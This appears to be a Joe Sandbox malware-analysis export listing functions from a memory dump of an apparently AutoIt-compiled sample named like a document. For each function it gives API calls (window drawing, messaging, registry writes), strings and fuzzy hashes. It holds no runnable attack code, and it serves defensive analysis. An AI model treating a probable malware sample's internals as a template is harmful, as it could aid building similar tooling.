Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: BuffCharUpper
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 3964851224-45149045
Opcode ID: 140dfbc06a9b986194dbf64b59281755df3b09ba39069c3134d4ff21266e46d9
Instruction ID: 850e956cc83853528bbfa2d8838bab0de8b25bd3e5012a008a202ca9b2a2ef3a
Opcode Fuzzy Hash: 140dfbc06a9b986194dbf64b59281755df3b09ba39069c3134d4ff21266e46d9
Instruction Fuzzy Hash: 4FC17534204611DBCF04EF14C455AADB7E6AF95394F04887DF88A5B39ADB2CDD4ACB82

Function 0077D385 Relevance: 39.2, APIs: 26, Instructions: 186windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0077D3BE
SetTextColor.GDI32(?,?), ref: 0077D3C2
GetSysColorBrush.USER32(0000000F), ref: 0077D3D8
GetSysColor.USER32(0000000F), ref: 0077D3E3
CreateSolidBrush.GDI32(?), ref: 0077D3E8
GetSysColor.USER32(00000011), ref: 0077D400
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0077D40E
SelectObject.GDI32(?,00000000), ref: 0077D41F
SetBkColor.GDI32(?,00000000), ref: 0077D428
SelectObject.GDI32(?,?), ref: 0077D435
InflateRect.USER32(?,000000FF,000000FF), ref: 0077D454
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0077D46B
GetWindowLongW.USER32(00000000,000000F0), ref: 0077D480
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0077D4A8
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0077D4CF
InflateRect.USER32(?,000000FD,000000FD), ref: 0077D4ED
DrawFocusRect.USER32(?,?), ref: 0077D4F8
GetSysColor.USER32(00000011), ref: 0077D506
SetTextColor.GDI32(?,00000000), ref: 0077D50E
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0077D522
SelectObject.GDI32(?,0077D0B5), ref: 0077D539
DeleteObject.GDI32(?), ref: 0077D544
SelectObject.GDI32(?,?), ref: 0077D54A
DeleteObject.GDI32(?), ref: 0077D54F
SetTextColor.GDI32(?,?), ref: 0077D555
SetBkColor.GDI32(?,?), ref: 0077D55F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 8aa1bd458ed9e9669356b20ed625cd9593844638701ede0806067abb2ad46668
Instruction ID: abb9f3e5b58aad7bb4be0d97caf173339d08e1e8102b9fcf518a6ea2430a1d88
Opcode Fuzzy Hash: 8aa1bd458ed9e9669356b20ed625cd9593844638701ede0806067abb2ad46668
Instruction Fuzzy Hash: 6C513D72900208EFDF209FA4DC48EAEBB79FF08360F218516F915AB2A1D7799D41CB54

Function 0077B4D4 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 400windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0077B5C0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0077B5D1
CharNextW.USER32(0000014E), ref: 0077B600
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 0077B641
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 0077B657
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0077B668
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 0077B685
SetWindowTextW.USER32(?,0000014E), ref: 0077B6D7
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 0077B6ED
SendMessageW.USER32(?,00001002,00000000,?), ref: 0077B71E
_memset.LIBCMT ref: 0077B743
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 0077B78C
_memset.LIBCMT ref: 0077B7EB
SendMessageW.USER32 ref: 0077B815
SendMessageW.USER32(?,00001074,?,00000001), ref: 0077B86D
SendMessageW.USER32(?,0000133D,?,?), ref: 0077B91A
InvalidateRect.USER32(?,00000000,00000001), ref: 0077B93C
GetMenuItemInfoW.USER32(?), ref: 0077B986
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0077B9B3
DrawMenuBar.USER32(?), ref: 0077B9C2
SetWindowTextW.USER32(?,0000014E), ref: 0077B9EA

Strings

0, xrefs: 0077B95F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 45a23d60667d13fca7fdb0175df704f32b40a2db9734268bf81df89e307b8bde
Instruction ID: ea51c8bda2da745efe2a7420436fde88da9de7b6a462641ea3902775705cd7c7
Opcode Fuzzy Hash: 45a23d60667d13fca7fdb0175df704f32b40a2db9734268bf81df89e307b8bde
Instruction Fuzzy Hash: A1E16E71900218EBDF209FA4CC88FEE7BB8EF05790F50C156F919AA191DB789A51DF60

Function 0077744C Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00777587
GetDesktopWindow.USER32 ref: 0077759C
GetWindowRect.USER32(00000000), ref: 007775A3
GetWindowLongW.USER32(?,000000F0), ref: 00777605
DestroyWindow.USER32(?), ref: 00777631
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 0077765A
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00777678
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 0077769E
SendMessageW.USER32(?,00000421,?,?), ref: 007776B3
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 007776C6
IsWindowVisible.USER32(?), ref: 007776E6
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00777701
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00777715
GetWindowRect.USER32(?,?), ref: 0077772D
MonitorFromPoint.USER32(?,?,00000002), ref: 00777753
GetMonitorInfoW.USER32 ref: 0077776D
CopyRect.USER32(?,?), ref: 00777784
SendMessageW.USER32(?,00000412,00000000), ref: 007777EF

Strings

tooltips_class32, xrefs: 00777653
(, xrefs: 00777762
0, xrefs: 00777532

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 513bacfce01cc79ebad0efaafe5b24ea8b1ab227b6501705147e3db35d617391
Instruction ID: 7d9df38a99d0c35a3e711c87cdd957a8575f7f2012dd36e789e438cc790204ac
Opcode Fuzzy Hash: 513bacfce01cc79ebad0efaafe5b24ea8b1ab227b6501705147e3db35d617391
Instruction Fuzzy Hash: 3FB18E71608340AFDB18DF68C948B6ABBE4BF88350F00891DF59D9B291DB78EC05CB95

Function 0072A756 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0072A839
GetSystemMetrics.USER32(00000007), ref: 0072A841
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0072A86C
GetSystemMetrics.USER32(00000008), ref: 0072A874
GetSystemMetrics.USER32(00000004), ref: 0072A899
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 0072A8B6
AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 0072A8C6
CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0072A8F9
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 0072A90D
GetClientRect.USER32(00000000,000000FF), ref: 0072A92B
GetStockObject.GDI32(00000011), ref: 0072A947
SendMessageW.USER32(00000000,00000030,00000000), ref: 0072A952

Part of subcall function 0072B736: GetCursorPos.USER32(000000FF), ref: 0072B749
Part of subcall function 0072B736: ScreenToClient.USER32(00000000,000000FF), ref: 0072B766
Part of subcall function 0072B736: GetAsyncKeyState.USER32(00000001), ref: 0072B78B
Part of subcall function 0072B736: GetAsyncKeyState.USER32(00000002), ref: 0072B799

SetTimer.USER32(00000000,00000000,00000028,0072ACEE), ref: 0072A979

Strings

AutoIt v3 GUI, xrefs: 0072A8F1

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 64899ea08c1236c56f0ec6f0200ab39f4b3e04b58e348cd127619891624533e9
Instruction ID: 47f7635dad0bc453ff16f5073a41b30dee0ac8e5f0944c7a02da63cc21dffcf6
Opcode Fuzzy Hash: 64899ea08c1236c56f0ec6f0200ab39f4b3e04b58e348cd127619891624533e9
Instruction Fuzzy Hash: E2B19E71A0021AEFDB10DFA8DC45BAD7BB4FB08314F11822AFA15A7290DB78E841DB55

Function 0077352A Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00773626
RegCreateKeyExW.ADVAPI32(?,?,00000000,007ADBF0,00000000,?,00000000,?,?), ref: 00773694
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 007736DC
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00773765
RegCloseKey.ADVAPI32(?), ref: 00773A85
RegCloseKey.ADVAPI32(00000000), ref: 00773A92

Strings

REG_QWORD, xrefs: 007739D3
REG_DWORD, xrefs: 00773956
REG_MULTI_SZ, xrefs: 0077384D
REG_BINARY, xrefs: 00773A20
REG_EXPAND_SZ, xrefs: 00773702
REG_SZ, xrefs: 007737A3

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: abb612274eeee1d799bd70febf5e85c55de8ecc075917330e71ee835c1420955
Instruction ID: 29afd7932c7dc516aac266ad0c8e2417aad50cacdbd3ddc8560665c9d1aa12d4
Opcode Fuzzy Hash: abb612274eeee1d799bd70febf5e85c55de8ecc075917330e71ee835c1420955
Instruction Fuzzy Hash: 54023A75200611DFCB14EF28C895E6AB7E5FF89720F05845DF88A9B2A2DB38ED41CB41

Function 007769C5 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 281windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00776A52
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00776B12

Strings

VIEWCHANGE, xrefs: 00776CC9
GETSUBITEMCOUNT, xrefs: 00776A9D
SELECTINVERT, xrefs: 00776BDA
ISSELECTED, xrefs: 00776B1D
GETSELECTED, xrefs: 00776C38
GETTEXT, xrefs: 00776ABB
SELECT, xrefs: 00776BA4
SELECTCLEAR, xrefs: 00776B89
GETSELECTEDCOUNT, xrefs: 00776AF5
SELECTALL, xrefs: 00776B71
FINDITEM, xrefs: 00776C7D
GETITEMCOUNT, xrefs: 00776A80
DESELECT, xrefs: 00776BF8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: b5b11ac70a451a2d5f078b4df5be44c7cf90631986b79e983e502e4ab91a44f5
Instruction ID: c23739e928b0363eadf7676ac6e47e2a794f29dfc45ffc6d63162c2d26b4c047
Opcode Fuzzy Hash: b5b11ac70a451a2d5f078b4df5be44c7cf90631986b79e983e502e4ab91a44f5
Instruction Fuzzy Hash: ABA19170204601DBCB18EF24C855BAAB3A6EF85354F14C86DF89A9B3D6DB38ED05CB51

Function 0074DD46 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0074DD87
__swprintf.LIBCMT ref: 0074DE28
_wcscmp.LIBCMT ref: 0074DE3B
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0074DE90
_wcscmp.LIBCMT ref: 0074DECC
GetClassNameW.USER32(?,?,00000400), ref: 0074DF03
GetDlgCtrlID.USER32(?), ref: 0074DF55
GetWindowRect.USER32(?,?), ref: 0074DF8B
GetParent.USER32(?), ref: 0074DFA9
ScreenToClient.USER32(00000000), ref: 0074DFB0
GetClassNameW.USER32(?,?,00000100), ref: 0074E02A
_wcscmp.LIBCMT ref: 0074E03E
GetWindowTextW.USER32(?,?,00000400), ref: 0074E064
_wcscmp.LIBCMT ref: 0074E078

Strings

%s%u, xrefs: 0074DE22

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf
String ID: %s%u
API String ID: 3119225716-679674701
Opcode ID: d44f65367d22ddb1694c654f953bb1ea21f9a00f6ec14349e571ab3b649dc849
Instruction ID: da1038f4a08e17d0040b37681c41233bc06ba4003951323f5b7a9b8f372e5ee9
Opcode Fuzzy Hash: d44f65367d22ddb1694c654f953bb1ea21f9a00f6ec14349e571ab3b649dc849
Instruction Fuzzy Hash: 4BA1CF71604706EFD724DF64C888FAAB7A8FF44350F10852AF9A9C2191DB78ED46CB91

Function 0074E69D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 0074E6E1
_wcscmp.LIBCMT ref: 0074E6F2
GetWindowTextW.USER32(00000001,?,00000400), ref: 0074E71A
CharUpperBuffW.USER32(?,00000000), ref: 0074E737
_wcscmp.LIBCMT ref: 0074E755
_wcsstr.LIBCMT ref: 0074E766
GetClassNameW.USER32(00000018,?,00000400), ref: 0074E79E
_wcscmp.LIBCMT ref: 0074E7AE
GetWindowTextW.USER32(00000002,?,00000400), ref: 0074E7D5
GetClassNameW.USER32(00000018,?,00000400), ref: 0074E81E
_wcscmp.LIBCMT ref: 0074E82E
GetClassNameW.USER32(00000010,?,00000400), ref: 0074E856
GetWindowRect.USER32(00000004,?), ref: 0074E8BF

Strings

ThumbnailClass, xrefs: 0074E7A9, 0074E829
@, xrefs: 0074E6BC

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 9fa614c54a3a75f03df79f61366ec61a4666c81003a373a521a166d46d21c9dd
Instruction ID: 9696aad5ed0b233d50dda1482e13010e79d704df5fce13c17db654197da629eb
Opcode Fuzzy Hash: 9fa614c54a3a75f03df79f61366ec61a4666c81003a373a521a166d46d21c9dd
Instruction Fuzzy Hash: 8F81AE31008205DBDB15CF54C885FAA7BE8FF54764F04846AFD899A096DB38ED46CBA2

Function 0074E4EA Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0074E549

Strings

HANDLE=, xrefs: 0074E542
[REGEXPTITLE:, xrefs: 0074E571
REGEXP=, xrefs: 0074E55E
[HANDLE:, xrefs: 0074E555
ALL, xrefs: 0074E5DD
LAST, xrefs: 0074E50E
[ACTIVE, xrefs: 0074E536
[ALL, xrefs: 0074E5EF
CLASSNAME=, xrefs: 0074E586
ACTIVE, xrefs: 0074E524
[LAST, xrefs: 0074E5F6
[CLASS:, xrefs: 0074E599

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: e311a80b2291e25c6da34bd230dd8893707ad899043b0b022a370ca947e24ee0
Instruction ID: 75c80d4f72e9d63ebd89161b4b804e4ac3f53a6125ce694eaba04de07d57cc9c
Opcode Fuzzy Hash: e311a80b2291e25c6da34bd230dd8893707ad899043b0b022a370ca947e24ee0
Instruction Fuzzy Hash: 7931A971A48205E6DB28EA64CD57FEEB3A46B10B24F60042CF451B10D3FF9DAF15C662

Function 0074F898 Relevance: 25.7, APIs: 17, Instructions: 168windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 0074F8AB
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0074F8BD
SetWindowTextW.USER32(?,?), ref: 0074F8D4
GetDlgItem.USER32(?,000003EA), ref: 0074F8E9
SetWindowTextW.USER32(00000000,?), ref: 0074F8EF
GetDlgItem.USER32(?,000003E9), ref: 0074F8FF
SetWindowTextW.USER32(00000000,?), ref: 0074F905
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0074F926
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 0074F940
GetWindowRect.USER32(?,?), ref: 0074F949
SetWindowTextW.USER32(?,?), ref: 0074F9B4
GetDesktopWindow.USER32 ref: 0074F9BA
GetWindowRect.USER32(00000000), ref: 0074F9C1
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 0074FA0D
GetClientRect.USER32(?,?), ref: 0074FA1A
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 0074FA3F
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0074FA6A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: d9c4573863eb6aa7d967c08ad2cf49dd5137dc0399861b8f864ded75a4e9101a
Instruction ID: 7f30589ed4a28b47add46dbf40838d471722b14e6858bc564f8796c714f46b62
Opcode Fuzzy Hash: d9c4573863eb6aa7d967c08ad2cf49dd5137dc0399861b8f864ded75a4e9101a
Instruction Fuzzy Hash: 6F513A71900709EFDB209FA8CD89F6EBBF5FF04744F004929E696A65A0C778AD45CB14

Function 0077CC68 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0077CD0B
DestroyWindow.USER32(?,?), ref: 0077CD83

Part of subcall function 00717E53: _memmove.LIBCMT ref: 00717EB9

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0077CE04
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0077CE26
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0077CE35
DestroyWindow.USER32(?), ref: 0077CE52
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00710000,00000000), ref: 0077CE85
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0077CEA4
GetDesktopWindow.USER32 ref: 0077CEB9
GetWindowRect.USER32(00000000), ref: 0077CEC0
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0077CED2
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0077CEEA

Part of subcall function 0072B155: GetWindowLongW.USER32(?,000000EB), ref: 0072B166

Strings

tooltips_class32, xrefs: 0077CDFD, 0077CE7E
0, xrefs: 0077CD2B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
